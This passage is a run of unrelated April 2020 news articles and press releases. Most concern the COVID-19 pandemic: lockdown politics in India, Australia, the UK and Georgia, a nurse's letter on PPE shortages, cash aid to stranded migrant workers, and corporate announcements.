consumers worldwide, focusing on strategic investments in leading companies in Israel, UK, and Canada. For further information, please contact: For InnoCan Pharma Corporation: Iris Bincovich, CEO +972-54-3012842 info@innocanpharma.com NEITHER THE CANADIAN SECURITIES EXCHANGE NOR ITS REGULATION SERVICES PROVIDER HAVE REVIEWED OR ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. Caution regarding forward-looking information Certain information set forth in this news release, including, without limitation, information regarding the markets, requisite regulatory approvals and the anticipated timing for market entry, is forward-looking information within the meaning of applicable securities laws. By its nature, forward-looking information is subject to numerous risks and uncertainties, some of which are beyond InnoCan's control. The forward-looking information contained in this news release is based on certain key expectations and assumptions made by InnoCan, including expectations and assumptions concerning the anticipated benefits of the product markets, satisfaction of regulatory requirements in various jurisdictions and satisfactory completion of requisite production and distribution arrangements. Forward-looking information is subject to various risks and uncertainties which could cause actual results and experience to differ materially from the anticipated results or expectations expressed in this news release. The key risks and uncertainties include but are not limited to: general global and local (national) economic, market and business conditions; governmental and regulatory requirements and actions by governmental authorities; and relationships with suppliers, manufacturers, customers, business partners and competitors. There are also risks that are inherent in the nature of product distribution, including failure to obtain any required regulatory and other approvals (or to do so in a timely manner) and availability in each market of product inputs and finished products. The anticipated timeline for entry to markets may change for a number of reasons, including the inability to secure necessary regulatory requirements, or the need for additional time to conclude and/or satisfy the manufacturing and distribution arrangements. As a result of the foregoing, readers should not place undue reliance on the forward-looking information contained in this news release concerning the timing of launch of product distribution. A comprehensive discussion of other risks that impact InnoCan can also be found in InnoCan's public reports and filings which are available under InnoCan's profile at www.sedar.com. Readers are cautioned that undue reliance should not be placed on forward-looking information as actual results may vary materially from the forward-looking information. InnoCan Pharma does not undertake to update, correct or revise any forward looking information as a result of any new information, future events or otherwise, except as may be required by applicable law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55035 By Express News Service PUDUCHERRY: Puducherry Health Minister Malladi Krishna Rao on Tuesday threatened to resign over the style of functioning of Puducherry Lt Governor Kiran Bedi in the wake of the COVID-19 outbreak. Rao said that Bedi had overruled the decisions taken in the public interest by the elected government. Addressing a press conference on Tuesday, Rao said eight youths from Yanam region of Puducherry working in Hyderabad, Odisha and Puttaparthy reached the Yanam border after walking for several days following the COVID-19 lockdown. However, the Yanam administration which had sealed the border with Andhra Pradesh did not allow them to enter. Even after his and the Chief Ministers intervention, they were not allowed and now they are facing hardships at the border for two days, he said. Stating that this was inhumanitarian, Rao said they could be quarantined on entry in any of the quarantine facilities available in Yanam. He said that if they were not allowed into Yanam within 24 hours, he will quit as minister as he is not able to help people of his constituency despite being a minister. Rao said officials are following the directions of the Lt. Governor and not implementing the orders of the elected government. This has also resulted in a delay in COVID-19 assistance of rice reaching the BPL people, who are still waiting, while distribution of pulses is yet to begin, said Rao. It is not known when poor people holding yellow card holders will get the rice. It is painful to see people suffering, which is not visualized by the Lt Governor who remains confined to Raj Nivas, he said. I have been working for not less than 18 hours a day to ensure that no section of people in the Union Territory faced any hardships during the current lockdown, said Rao. But I am unable to do what is required for the people as officials are not going by the decisions taken by the elected government in reaching government assistance to the poor, he said. He also regretted that the old age pension to fishermen has not been disbursed for three months due to decisions taken by the Lt Governor. Premier Gladys Berejiklian has announced NSW social distancing restrictions will be slightly relaxed from Friday, with two adults allowed to make a visit to someone in a home. There were five new cases of coronavirus in NSW diagnosed on Monday, after 4000 tests were conducted on Sunday. All five cases were connected to known sources, which the state's Chief Health Officer Dr Kerry Chant described as "pleasing". Up to two adults will be allowed to visit other people at their homes as of Friday, NSW Premier Gladys Berejiklian has announced. Credit:Rhett Wyman Meanwhile, another resident has died at a Newmarch House nursing home in western Sydney, the seventh to pass away at the facility after being diagnosed with COVID-19. In a statement on Tuesday morning, Anglicare Sydney said it was "a very sad time for the family but also for the residents and staff who knew this resident well". The death brings the national toll to 84. Prime Minister Boris Johnson urged the British public to keep obeying lockdown rules to avoid a disastrous second wave of the coronavirus outbreak, even as the number of daily deaths fell to its lowest in just under a month. Speaking after he returned to full time work one month after contracting COVID-19, Johnson said the U.K. is close to having the virus under control, and urged people not to relax the social-distancing efforts that had achieved this. His comments came as the number of recorded deaths from coronavirus in hospitals fell to 360, the lowest daily figure since March 30. Johnson, who was hospitalized and received oxygen in intensive care earlier this month, likened the virus to an assailant, saying the nation had begun together to wrestle it to the floor. This is the moment of opportunity, he said outside his Downing Street office. This is the moment when we can press home our advantage. It is also the moment of maximum risk. Johnson warned that easing restrictions too soon could trigger a second spike of infections. The prime minister has returned to find mounting public weariness with a lockdown that has closed most shops and all pubs and restaurants, and prevented people from meeting friends. There are growing calls for a path to restarting the economy among business owners and members of his own Conservative Party. They point out that the daily death toll has been falling and that lockdowns are being partially lifted in countries around Europe. The government is due to review the restrictions on May 7. Speaking at a press conference on Monday, the chief medical officer for England, Chris Whitty, disclosed that he and a team of advisers are drawing up a menu of options for lifting various restrictions that ministers could choose from. This includes potentially opening schools, in some combination with other actions, he suggested, although the crucial aim would be to stop the virus infection rate rising rapidly again. But businesses are already clamouring for information, according to the Institute of Directors. A survey of more than 1,000 business leaders showed fewer than one in four were optimistic for their prospects over the next 12 months. Six business leaders, including Conservative Party billionaire donors Michael Spencer and Peter Hargreaves, have written to the government asking them to ease the restrictions, according to the Sunday Times. Chancellor of the Exchequer Rishi Sunak told Parliament on Monday the plan is for gradual refinements to the restrictions, and the same would apply to the removal of economic support measures. He also addressed a complaint from business when he announced a new micro-loan program for the smallest firms that will be completely underwritten by the government. How and when The prime minister was clear there will be no imminent relaxation of the current lockdown rules. Though he pointed to signs of success, including falling hospital admissions, he said it was important to be cautious. I want to get this economy moving as fast as I can, but I refuse to throw away all the effort and the sacrifice of the British people and to risk a second major outbreak and huge loss of life, Johnson said. I ask you to contain your impatience because I believe we are coming now to the end of the first phase of this conflict. In spite of all the suffering, we have so nearly succeeded. To move too early, he said, would risk not only a new wave of death and disease, but also an economic disaster if the government was forced to once again slam on the brakes. Johnson promised that, once officials are sure the virus is under control, there would be a second phase in which restrictions will be eased even as efforts continue to suppress the disease. He said he couldnt offer more details on this, but promised to bring in opposition political parties and make decisions with maximum possible transparency. That was an apparent acknowledgment of mounting criticism of ministers handling of the pandemic. Though the National Health Service hasnt been overwhelmed, the hospital death toll exceeds 20,000 the level the government said would be considered a good outcome. The government is trying to ramp up testing and begin a mass program of tracking and tracing COVID-19 cases to keep the outbreak under control once social-distancing rules are eased. HOUSTON, April 28, 2020 /PRNewswire/ -- Quanta Services, Inc. (NYSE: PWR) announced today that it will release first quarter 2020 financial results on Thursday, May 7, 2020, before the market opens. In conjunction with the press release, Quanta has scheduled a conference call for 9:00 a.m. Eastern time on Thursday, May 7, 2020, which also will be broadcast live over the Internet. Quanta will utilize a slide presentation to accompany its prepared remarks, which will be viewable through the webcast and available on the Investor Relations section of the Quanta website (http://investors.quantaservices.com). What: Quanta Services First Quarter 2020 Earnings Conference Call When: Thursday, May 7, 2020 9:00 a.m. Eastern time How: Live via phone By dialing (201) 689-8345 or (877) 407-8291 and asking for the Quanta Services First Quarter 2020 Earnings Conference Call at least 10 minutes prior to the start time. Live over the Internet By logging on to the website through the Investor Relations section of Quanta's website (http://investors.quantaservices.com) For those who cannot participate live, an archive of the webcast will be available shortly after the call on the Investor Relations section of Quanta's website (http://investors.quantaservices.com) and dial-in information for a replay of the call will be available in the upcoming earnings release. For more information, please contact Kip Rupp at Quanta Services at (713) 341-7260. About Quanta Services Quanta is a leading specialized contracting services company, delivering comprehensive infrastructure solutions for the utility, pipeline, energy and communications industries. Quanta's comprehensive services include designing, installing, repairing and maintaining energy and communications infrastructure. With operations throughout the United States, Canada, Australia and select other international markets, Quanta has the manpower, resources and expertise to safely complete projects that are local, regional, national or international in scope. For more information, visit www.quantaservices.com. Contact: Kip Rupp, CFA Quanta Services, Inc. (713) 341-7260 SOURCE Quanta Services, Inc. Related Links https://www.quantaservices.com/ [April 28, 2020] Grant Thornton tool benchmarks coronavirus resilience using risk-modeling engine Grant Thornton (News - Alert) LLP is offering a Pandemic Risk Assessment tool to help companies benchmark their operations against factors critical to business resilience during the coronavirus pandemic. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005707/en/ An example of a resilience dashboard in Grant Thornton LLP's Pandemic Risk Assessment tool (Graphic: Business Wire) "We designed our assessment tool to provide organizations with a framework to think through COVID-19's many business impacts," says Chris Stephenson, principal and Financial Management practice leader at Grant Thornton. "Our goal was to present new fact patterns and provide additional viewpoints that businesses can use to sharpen their response and recovery plans." Yvette Connor, a principal in the Risk Advisory Services practice at Grant Thornton, elaborates further: "In a pandemic, you cannot avoid complex and changing trajectories, but you can minimize the dips and recover more strategically as the crisis plays itself out." Grant Thornton's tool allows companies to enter business data into a quantitative risk-modeling engine that generates tailored resiliency scorecards. The tool uses a sliding scale in four key categories: Cashflow management, People and labor, Supply and demand, and Hard-to-predict external factors. The resultin scorecards benchmark companies against a pandemic risk-assessment index - and against the measures public companies in similar industries are taking to blunt the impact of the coronavirus crisis. The scorecards also provide information related to removing blind spots and proceeding with resilience efforts. Pandemic impact factors Grant Thornton's assessment tool emphasizes that cashflow is the most important factor for coronavirus resilience. "Our tool makes it clear that cash is king - and getting an immediate handle on daily cash needs is paramount," says Connor. "This is going to be a challenge for many companies: We expect working capital to drop by 15% over the next 90 days." Labor, too, is emerging as a make-or-break factor for risk assessment. "While there are the obvious issues like managing a remote workforce, there are hidden issues as well," adds Connor - who cautions businesses to "be ready for developments such as union disputes and surges in required wages." Similarly, in today's climate, businesses should focus on supply and demand - scrutinizing what customers are purchasing now versus the kinds of products or services they were purchasing before the coronavirus outbreak. "Pandemics change a customer's buying patterns and in some cases the channels," explains Jonathan Eaton (News - Alert), principal and national Supply Chain practice leader at Grant Thornton. "Demand has likely shifted and understanding the impact on sales pipelines is vital, as is understanding the required supply-side execution. These insights help companies update their projections for sales, inventory investments, capacity and labor needs." Finally, it is paramount for businesses to plan for additional unforeseen external risks. "As hard as the coronavirus crisis is, there are other risks that could confront businesses even as they struggle with the pandemic," says Connor. "These include financial-market pivots, regulatory and political changes, natural disasters and other black swan events." To learn more about Grant Thornton's Pandemic Risk Assessment, visit: grantthornton.com/PRA. For additional insights and economic analysis from Grant Thornton Chief Economist Diane Swonk, visit the firm's COVID-19 resource center: grantthornton.com/COVID-19-resource-center. About Grant Thornton LLP Founded in Chicago in 1924, Grant Thornton LLP (Grant Thornton) is the U.S. member firm of Grant Thornton International Ltd, one of the world's leading organizations of independent audit, tax and advisory firms. Grant Thornton, which has revenues in excess of $1.9 billion and operates more than 50 offices, works with a broad range of dynamic publicly and privately held companies, government agencies, financial institutions, and civic and religious organizations. "Grant Thornton" refers to Grant Thornton LLP, the U.S. member firm of Grant Thornton International Ltd (GTIL). GTIL and the member firms are not a worldwide partnership. Services are delivered by the member firms. GTIL and its member firms are not agents of, and do not obligate, one another and are not liable for one another's acts or omissions. Please see grantthornton.com for further details. This content is not intended to answer specific questions or suggest suitability of action in a particular case. For additional information about the issues discussed, contact a Grant Thornton LLP professional. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005707/en/ [ Back To TMCnet.com's Homepage ] Donald Trump received more than a dozen US intelligence briefings that warned of the growing threat of the coronavirus in January and February, according to the Washington Post. The warnings were included in the presidents daily briefing, which outlines each day the most pressing information and security threats. According to the Post, the briefings traced the viruss spread around the globe, made clear that China was suppressing information about the contagions transmissibility and lethal toll, and raised the prospect of dire political and economic consequences. The newspaper cited unnamed current and former US officials, and said the briefings were just one part of a broader collection of worrisome signals that was being presented to the White House at a time when the president was still publicly downplaying the threat of the virus. The report is likely to raise further questions about the Trump administration's response to the coronavirus pandemic, which has killed more than 56,000 Americans. The president repeatedly downplayed the threat of the virus to the US throughout January and February, at the same time he was reportedly receiving the warnings from US intelligence. On February 26, when the number of confirmed infections was still relatively low, Mr Trump said: And again, when you have 15 people, and the 15 within a couple of days is going to be down to close to zero, thats a pretty good job weve done. The next day, he said the virus is going to disappear. One day its like a miracle it will disappear. As late as March, the president persisted in playing down the threat. On 10 March, Mr Trump said: Just stay calm. It will go away. One day later, the World Health Organisation declared a global pandemic. As the stock market plummeted, Mr Trump declared a national emergency and banned travel from Europe in an effort to contain the outbreak. The White House has repeatedly denied that Mr Trump was slow to respond to the threat of the pandemic. Instead, the administration has attempted to shift the blame on to state governors for the rapid spread of the virus across the US. The Post said the US officials said the frequency of briefings about the coronavirus threat "reflected a level of attention comparable to periods when analysts have been tracking active terrorism threats, overseas conflicts or other rapidly developing security issues." Last week the Bournemouth Daily Echo replied to A letter from a frontline nurse in the UKs Royal Bournemouth Hospital published by the World Socialist Web Site on April 14. The Echos article was titled, Royal Bournemouth Hospital claim they have stocks of PPE. It featured statements from Royal Bournemouth and Christchurch Hospitals Trust (RBCH) management and the Royal College of Nursing (RCN) denying the nurses allegations. Hospital management and the RCN told the Echo there is no shortage of PPE and that existing guidelines on PPE are fit for purpose. The WSWS has received a reply to the Bournemouth Echos claims from the author of the original letter, along with comments from other health care workers at the hospital. The frontline nurse wrote that, Staff at my hospital were angry when they saw the Bournemouth Echos article. Hospital management and the Royal College of Nursing both questioned the authenticity of my letter and denied my allegations. I have been a frontline nurse at the hospital for several years and all the allegations I made about PPE shortages are true. At work, the response to my letter was hugely positive. Colleaguesnurses, doctors, porters and cleanersshared my letter on Facebook and WhatsApp groups at work and left countless messages of solidarity. My letter spoke about the dangers we are facing, day in day out, as frontline workers during the coronavirus pandemic. I wanted to give a voice to my colleagues who are dealing with a lack of PPE and with Public Health England (PHE) guidelines that are placing our lives at risk. Public Health England guidelines in breach of WHO guidance Current guidance from PHE is that full PPE for nurses and doctors is only necessary if you are treating COVID-19 patients in ICU and patients having Aerosol Generating Procedures (AGP). They state that full PPE isnt necessary when were treating COVID-19 patients elsewhere in the hospital. As I wrote, these instructions from the UK government are in breach of World Health Organisation (WHO) guidelines. I was well-aware when I wrote the letter that the South West is the least affected area in the UK regarding the pandemic. If we cannot properly manage the outbreak here, how are hospitals coping elsewhere? We are thinking of other health workers in the worst affected areas like London. How are they managing? The problems and severe dangers we are facing in contracting COVID-19 at work remains acute and are worsening by the day as adequate protection is not provided. We read with disgust managements claims that everything is fine in RBCH. They told the Bournemouth Echo, We have stocks of the PPE needed to protect our staff as the number of patients with COVID-19 is forecast to increase. We looked at the Trust intranet page and found out we had stock for one week, even though PPE is rationed in many areas. One nurse said to me, This is a load of rubbish. A colleague in a clinic at the hospitals Green Zone said they get only one surgical mask to wear all day. I spoke to colleagues in different wards and units in the Red Zone and confirmed the situation in every ward is dire. Colleagues are contracting the virus at an alarming rate. Since my letter was published on April 14, more colleagues have been admitted to Intensive Care Unit (ICU). Regardless of the claims made by the management that the safety and wellbeing of our staff and patients is our number one priority, frontline workers are still compelled to wear a flimsy apron, simple surgical mask, gloves and visor or goggles in non-acute areas when delivering care to suspected and confirmed COVID-19 patients. This means we are not protected while treating patients with the illness who are coughing and sneezing and are on nebulizers or oxygen therapy via nasal cannulas. We are also involved in washing, dressing, feeding and performing ECGs on these patients. We know that we are working without adequate protection. Royal Bournemouth Hospital Most disgusting of all is the actions of my union, the Royal College of Nursing (RCN). They came to the rescue of the management saying, We are not aware currently of any shortages of equipment in Bournemouth and we are led to understand that they are following national guidelines on its use. The claims by the RCN are a pack of lies and these lies have consequences. On April 13, Dr Peter Tun from Reading died from exposure to COVID-19 after his warnings to Royal Berkshire Hospital about inadequate PPE were ignored. After the death of a much-loved mental health nurse in Leeds, nurses there are refusing shifts unless they are provided with proper protection. Everywhere doctors and nurses are protesting the lack of PPE. None of the RCNs reps have visited us at the hospital or asked about our safety. No branch meetings have been called to discuss the life and death issues facing nurses. Instead they offer their callous support to the management and the government. The PHE guidelines are useless and two doctors are launching legal action because PHE advice goes against World Health Organisation advice. More than 100 NHS and social care workers have died because the guidelines have left them exposed. The concerns I raised in my letter are widely shared. Finally, management claimed they had started staff testing which will be vital to help us manage staffing levels. But when I wrote two weeks ago, colleagues were struggling to have tests done. A drive through test centre only opened last Fridayafter my letter was publishedin the multi-story car park. But there is no information yet on how many have been tested, or how many staff have so far been diagnosed. As I pointed out in my letter, the gutting and privatisation of the NHS over many years has resulted in a health care emergency. Boris Johnson is boasting the NHS has coped well with the pandemic. But only because thousands of people with COVID-19 symptoms were advised to stay at homeand many died as a result. Added to this, people with life-threatening conditions, including heart attacks and strokes, have not presented at A&E. According to a report in the Financial Times , the real death toll, taking into account excess deaths at home and in care homes, is 41,000. Of these, 134 are NHS and social care workers. This is horrifying. The response from hospital management and the RCN shows the urgent need for nurses, doctors and healthcare workers to organise independently. The issues at Bournemouth Hospital are faced by workers at hospitals across the UK and around the world. Our fight to save patients lives and those of frontline healthcare workers means developing a unified struggle. A health care assistant (HCA) in the Red Zone said, I agree totally with the frontline nurses letter not this managements load of rubbish in the Daily Echo. I was told again yesterday that unless the positive or suspected patient is on aerosol generating procedures, the cheap plastic aprons, gloves and surgical masks are adequate. I will not attend to any suspected or positive patient without proper PPE. Its like holding a gun to your head or playing Russian roulette. If the people from Clinical Site tell me off, then I would just say well you go in and treat them without correct PPE then. Another Red Zone HCA said, It can be true that they have enough PPE as they claim, but I think they should leave the assessment with the staff who are in close contact with Covid positive patients. They should not dictate what we can and cannot use when we are caring for patients who are positive with Covid. Its really scary as is proven with the number of cases affecting our staff already. Royal Bournemouth Hospital All the people who are supposed to take care of us are licking the bosses asses. Unions are useless when it comes to these issues. A senior nurse in the Acute Medical Unit said, There could be enough PPE in store cupboards and elsewhere but its confusing for us when we are told to wear one thinggloves, apron and maskand then we see A&E staff come up to our ward wearing full gowns, FFP3 masks and goggles and a visor and full-length gloves. We would also prefer to feel safe by the PPE. A bank (staff resource pool) nurse commented, During the First World War lots of soldiers died in Russia because they wore uniforms which were insufficient to bear and deal with the cold Russian winter. I, as an NHS worker, feel like that soldier who died in the cold, Russian winter. Why? Because the only PPE they allow me to wear are the fluid repellent surgical mask, plastic apron, and gloves. And I know that it is not sufficient to prevent contracting the virus and I can also infect my family as well. A few days ago, while I was looking after a patient with suspected COVID, another colleague, a few steps from me, was looking after a patient with suspected CPO [Carbapenemase Producing Organisms] infection. She wore a surgical mask like me, gloves like me, but a long sleeves gown unlike my simple plastic apron. COVID is highly contagious and deadly, but CPO is not that contagious. This sums up the stupidity of the policies. I will continue to do my job at the best of my possibilities and will continue to do it even when the pandemic is over but, please give us this possibility. We do not need claps, we need respect. People who lost their lives need respect. People who are fighting with this invisible enemy need respect. Please, give us more FFP3 and gowns to wear even when we work in the red wards. A Health Care Assistant in a Red Ward said, We still do not have enough protection. A very young [COVID-19] patient was coughing heavily. I thought it would be safer to wear a gown, respirator (FFP3) mask. We did not have respirators. So I asked the staff nurse who was in charge during that shift whether we could at least wear gowns which were available. She did not have any problem with us wearing them, but she was very concerned that she would get the blame for letting us use the gowns. So I had to go to that patient without enough protection during my entire 12 and a half hour shift. I simply couldnt refuse to go there because I have got children the same age. Urmila breathed a sigh of relief when her phone lit up with a message from her bank notifying that Rs 1,000 was credited to her account. The 32-year-old, a migrant worker from Lakhisarai in Bihar who is stuck in Faridabad in Haryana with her two young sons amid the lockdown, would now be able to provide her children with food for at least the next few days. Similar cash transfers for thousands of migrants from Bihar and Jharkhand stuck in Delhi, Mumbai and Bangalore during the countrywide lockdown have been facilitated by a former migrant worker from Muzzafarpur in Bihar, who initially started by helping out migrants from his village. After his contact number was passed on to different migrant groups, his phone has not stopped ringing. "I started getting calls soon after the lockdown began. They (migrant workers) were hungry and sometimes sick and called for help. Since I work with labour groups here, I contacted some of them and we arranged Rs 6,000 and transferred that to their accounts," said 32-year-old Sanjay Sahni, who worked as an electrician in Delhi before returning to his native village five years ago. "After that my phone was inundated with calls from people stranded across the country who needed immediate help," he said. The sheer number of distress calls to Sahni gave rise to an organised effort -- SWAN: Stranded Workers Action Network -- a motley group of around 80 researchers, students, civil society groups and labour leaders -- who formed a system by which Sahni would provide them with bank account details of stranded workers and they would contact people registered with them to directly transfer cash to these accounts. "We have now grown to 73 volunteers who have interacted with 640 groups of stranded workers adding up to a total of 11,159 (people). Since March 27, around 6,940 people have received money through these transfers. We realised that the workers needed cash in hand to buy things according to their immediate needs. What these workers need is food and cash and not food or cash," said Sakina Dhorajiwala, Researcher, LibTech India, who is one of the volunteers at SWAN and also a co-author of a paper, "21 Days and Counting: COVID-19 Lockdown, Migrant Workers, and the Inadequacy of Welfare Measures in India." Sahni says distress calls have started coming from workers stranded in various states, Rajasthan, Jharkhand and West Bengal to name a few, since his phone number has now been circulated among other migrant groups as well. Thirty-four year old Ramnath, a labourer from Bihar's Muzaffarpur who is stuck in Mangalore with 21 other migrant workers since the lockdown started, could not believe when he saw Rs 6,000 in the account of one of his fellow workers. Having survived on an empty stomach for two days before money got transferred to the account in March end, the 21 men finally bought food. "We survived on that money for five days. It was a godsend," said Ramnath. The feeling is echoed by 35-year-old Phoolan Sahni, a migrant from Vaishali in Bihar who is stuck in Gurgaon with his five children. "I have received Rs 4500 in three instalments from SWAN and that is the only reason we are alive today," he told PTI. PTI spoke to at least ten such migrant workers, stranded in different parts of the country, who confirmed that they received money in their accounts. All of them said they got Sahni's number from word of mouth. Workers who received money passed on the numbers to other groups they met, either at long queues for food or on the streets. Urmila, a widow who worked at a t-shirt factory in Faridabad before the lockdown began, said she got the number from a group of migrants from Bihar who told her that Sahni could help. "I had no idea if it would work out. But I called on the number. He said he would help and I gave him my details. I received Rs 2,000 in two installments," she said. The migrant workers also said that earlier they could buy ration on credit. But now no one was willing to give them supplies without payment since they do not have regular income any longer. Aparna Jain, a Mumbai-based professional transferred cash for migrants in need through SWAN after getting to know about it from a friend who was volunteering with the network. She said it felt specially fulfilling as it would have a direct effect on the life of someone who perhaps would have gone without a meal if not for the transfer. "I registered with SWAN and in two days I received a call from them. They gave me the account details of three persons who needed help and I transferred the money directly to the workers' accounts," said Jain. "While I am sure that all funds for these migrants are authentic rights now, this (SWAN) feels quicker and more effective. Also, this way people can use the money as they need it. As the money got credited, my husband remarked 'imagine the face of the person who just received the alert that he has received the money'. That gives a great sense of satisfaction," said Jain. Those willing to register with SWAN to transfer money directly to migrants in need can do so on the link https://docs.google.com/forms/d/e/1FAIpQLSdOXmZ41dS7tbgoQzCc5HOwTl0-1ZCJcBiRPUysWfGGAVAyHQ/viewform following which a volunteer will get in touch. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A new COVID-19 simulator tool is projecting that Georgia could see more than 23,000 deaths by the end of summer if the state is found to have relaxed its coronavirus lockdown measures too soon. Georgia is among the fastest in the US to reopen its coronavirus-ravaged economy despite warnings from health experts of a potential surge in infections and disapproval from President Donald Trump. Georgia currently has 24,604 cases and 1,022 deaths as of Tuesday. The model simulator, created by the Massachusetts General Hospital and Georgia Tech University, estimates that even lifting restrictions gradually over the next month could result in 23,400 projected deaths by August 30. Keeping current restrictions in place until July could contain the epidemic and could result in about 2,000 deaths, according to the model. If a more restrictive lockdown was initiated for four weeks, which would include bans on inter-state travel and local travel, the estimated deaths by August 30 would be 1,680, the model found. The model estimates that even lifting restrictions gradually over the next month could result in 23,400 projected deaths by August 30 in Georgia In Texas, the model predicts deaths could reach 12,800 by August 30 if restrictions are lifted after four weeks of stay at home orders Meanwhile in Texas, the model predicts deaths could reach 12,800 by August 30 if restrictions are lifted after four weeks of stay at home orders. Those projected death would decrease to 1,180 if restrictions are lifted after three months. Texas partially reopened last week but the governor announced on Monday that state's stay-at-home order would expire April 30. Currently there are 26,405 cases in Texas and 687 deaths as of Tuesday. The modeling predicts that current restrictions being implemented in various states could see the US death toll reach about 86,000 fatalities by the end of the summer. It comes as some Georgia restaurants reopened for limited dine-in service on Monday as the state loosened more coronavirus restrictions. Dine-in service and movie screenings were allowed to resume a few days after some other businesses, including barbershops, gyms, tattoo shops and nail salons, began seeing customers. While many of those establishments gratefully opened their doors Friday after a month-long closure, others did not feel ready. The University of Washington's Institute for Health Metrics and Evaluation model projects 74,073 Americans will die from the coronavirus by August 4 These forecasts cited by the CDC track the number of COVID-19 death since February and show the estimated deaths across the US in the next four four weeks. All of the models assume that existing social distancing measures will continue, while the Columbia University (CU) models makes various assumptions on the effectiveness of current social distancing interventions McDonald's, Dunkin' and Chick-fil-A won't reopen in Georgia As various other businesses reopened in Georgia on Monday, McDonald's, Chick-fil-A and Dunkin' said they have no plans to reopen their restaurants in the state. They will, however, continue to offer takeaway only. Among the many new protocols set down in order to reopen, Georgia restaurant workers must be screened for illness and wear face masks at all times. Tables inside the restaurant can seat no more than six and must be 6ft apart. McDonald's told DailyMail.com its top priority is the safety and well-being of its people and customers, 'which guides our decision making'. 'This is not a race,' the company said. 'As states ease restrictions, we will move thoughtfully and judiciously to make changes to our operations in collaboration with our franchisees, when McDonald's is ready. 'While McDonald's continues to assess plans for the future, we will continue serving customers across the US through Drive-Thru, walk-in takeout and delivery.' McDonald's said it has implemented changes in nearly 50 processes in its restaurants 'for the protection of our people and customers'. Advertisement A similar mixed response played out Monday with many eateries remaining closed amid concerns that serving in-house meals could put employees and customers at risk. Governor Brian Kemp announced last week that he would relax restrictions. Kemp issued 39 requirements that restaurants must follow if they reopen, including observing a limit of 10 customers per 500 square feet and ensuring that all employees wear face coverings all the time. Movie theater ushers were ordered to enforce social distancing. The shutdown imposed to slow the spread of the coronavirus has caused tremendous damage to the economy. About a fifth of the state's workforce - 1.1 million workers - filed for unemployment in the five weeks since the crisis started, according to the Georgia Department of Labor. But public health experts say increased testing and diligent tracking of infected people's contacts are needed to guard against a spike in new cases if reopening happens too quickly. Georgia has ranked in the bottom 10 of states for testing per capita, but some progress was made on that front last week. State and local health officials in Georgia are also teaming up with the Centers for Disease Control and Prevention to do antibody testing to get an idea of how many people have already been infected with the virus. Public health workers plan to visit randomly selected homes in two Atlanta counties from April 28 to May 4 to ask residents to answer questions and provide a blood sample, according to a news release from the state Department of Public Health. Antibody tests cannot determine if a person has an active case of COVID-19, but they can identify people who were infected but did not have symptoms or were not tested. Waffle Houses across Georgia began allowing customers to dine in again from Monday after COVID-19 lockdowns were lifted A customer sits at the counter for dine-in service while other seats are marked off for social distancing protocol at a Waffle House in Brookhaven, Georgia on Monday The formulators of the Amotekun security outfit have faulted a statement by the leader of the group by name the Indigenous Peoples of Biafra [IPOB], Mazi Nnamdi Kanu who in his weekly broadcast to his followers said the south west had kowtowed to the threats of the Fulani led administration of the federal government of Nigeria over the continued implementation of the Amotekun security outfit. The IPOB leader had said on April 26, 2020, Fulani told Yoruba leaders, for disobeying them and floated Amotekun that they were going to open Calabar, Warri, and Igweocha seaports. That how Amotekun died That was how Yoruba people abandoned Amotekun. The statement of the leader of IPOB has however been discarded as false and baseless. The chief formulator of the Amotekun project, Seye Oyeleye, [DG DOWN Commission] told 247ureports.com in a phone conversation that the Amoketun project remains on course and making progress. It is not true the federal government is threating us. Just last week the Osun State Government appointed a Director General [DG] for Osuns Amotekun security Outfit. The State Chairman of Police Community Relations Committee (PCRC), Comrade Amitolu Shittu was appointed the DG. It is recalled the south west region as a block had advocated for setting up of security outfit jointly that is Amotekun. It raised dusts within select quarters of the nation resulting in several closed door meetings with political leaders of the south west states and select officers from the federal government which resulted to agreements on the way forward. Each south west state were to establish its version of Amotekun through the legislative process into law. The outfits are to operate as community policing, and will receive training from the Nigeria police. Already, each of the States within the south west region has adopted the Amotekun outfit and has passed it as a Bill through the legislative process. Each of the respective State governors had already signed the Amotekun Bill into law. The Chief Press Secretary [CPS] to the Governor of Lagos State, Gboyega Akosile told 247ureports.com the Lagos State Government is fully on course with the Amotekun project. There is no truth to the rumor. It is still on. Mr. Akosile indicated that security remains a priority in Lagos State. The state government had already begun recruitment until corona virus arrived. The pandemic obviously slowed things down. No threat from the federal government. The Chief Press Secretary to the Osun State Governor, Ismail Omipitan echoed the same. He said the Osun State government remains dedicated to Amotekun project. We appointed a DG last week. To the best of my knowledge, the process is still ongoing. As schools were closed across North Macedonia as a result of the pandemic, a large number of students were left out of the e-learning program due to the lack of access to technical devices and therefore were not able to continue their education from home. In order to further support the communities during this difficult time and to ensure the educational process for students continues, Ecolog International established a dedicated project team to procure technical equipment, plan logistics and distribute the devices. Ecolog appreciates the valuable support from the state institutions by providing the overview of municipalities within North Macedonia, where students urgently required electronic devices. Students receiving devices from Ecolog will keep these permanently to further support them in their education beyond the pandemic. "As the world is facing an unprecedented crisis, it is our civic duty to help one another and support the communities. The pandemic has taught us many lessons, including the importance of investing in education and science to address the challenges of tomorrow" said Ali Vezvaei, Group CEO of Ecolog International "Ecolog has consistently supported education of the future generation and contributed to the communities in which it operates. This initiative that was brought to life by philanthropist, Mr. Lazim Destani, ensures children can continue their learning process and engage in development and growth even during such challenging circumstances. Ecolog International and the Destani family will continue to support initiatives that improve overall living standards and bring positive social, economic and environmental impact to the communities." Ecolog International's corporate strategy has a strong focus on improving health and education and tackling climate change, while enhancing economic, social and environmental aspects. Contact: Ecolog International Phone: +971(0)42994500 [email protected] www.ecolog-international.com SOURCE Ecolog International To increase the capacity to treat critical Covid-19 patients in intensive care units (ICU), the Delhi government is looking to buy around 500 ventilators for its hospitals. Currently, the city has 1,106 ventilators306 in government hospitals and 800 in private onesaccording to a report by the five-member committee advising chief minister Arvind Kejriwal on Covid-19. We are looking at different ventilator manufacturersincluding Bharat Heavy Electricals Limited (BHEL)to procure around 500 ventilators, a senior official from Delhis health department said. Currently, the specifications and the make of the ventilators offered by various manufacturers are being examined by Lok Nayak Hospital before an order is placed. It is the biggest Covid-19 hospital in the city, managing 165 patients with severe symptoms. A ventilator augments the breathing function of a person whose lungs are compromised, a condition common to Covid-19 patients as the disease moves into a serious stage. Delhi has already reached the first of three scenarios that the five-member panel had advised to prepare for100 cases being reported a day. The number of cases spiked on Sunday, with 293 people testing 